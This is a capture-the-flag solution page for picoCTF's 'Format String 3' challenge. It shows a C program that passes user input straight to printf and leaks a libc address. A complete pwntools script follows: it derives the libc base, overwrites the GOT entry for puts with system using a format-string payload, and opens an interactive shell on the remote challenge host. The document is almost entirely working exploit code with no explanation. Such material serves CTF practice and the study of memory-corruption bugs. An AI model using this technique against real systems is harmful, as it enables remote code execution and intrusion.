Format String 3

#got-overwrite#format-string#solution-only

Contents

Source

#include <stdio.h>

#define MAX_STRINGS 32

char *normal_string = "/bin/sh";

void setup() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
}

void hello() {
    puts("Howdy gamers!");
    printf("Okay I'll be nice. Here's the address of setvbuf in libc: %p\n", &setvbuf);
}

int main() {
    char *all_strings[MAX_STRINGS] = {NULL};
    char buf[1024] = {'\0'};

    setup();
    hello();    

    fgets(buf, 1024, stdin);    
    printf(buf);

    puts(normal_string);

    return 0;
}

Solution

#!/usr/bin/env python3

from pwn import *
import time
#from termcolor import colored
#from tqdm import tqdm

elf = ELF("./format-string-3_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
rop = ROP(elf)

context.binary = elf
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
"""


def conn():
    if args.REMOTE:
        r = remote("rhea.picoctf.net", 62560)
    elif args.GDB:
        r = gdb.debug([elf.path], gdbscript=dbginit)
    else:
        r = process([elf.path])
    return r


def main():
    r = conn()
    r.recvuntil(b'setvbuf in libc: ')
    leak = r.recvuntil(b'\n',drop=True).decode("ascii")
    libc.address = int(leak,16) - libc.sym["setvbuf"]
    write = {
            elf.got["puts"] : libc.sym["system"]
            }

    payload = fmtstr_payload(38, write, write_size="byte")
    r.sendline(payload)
    r.clean()
    r.interactive()




if __name__ == "__main__":
    main()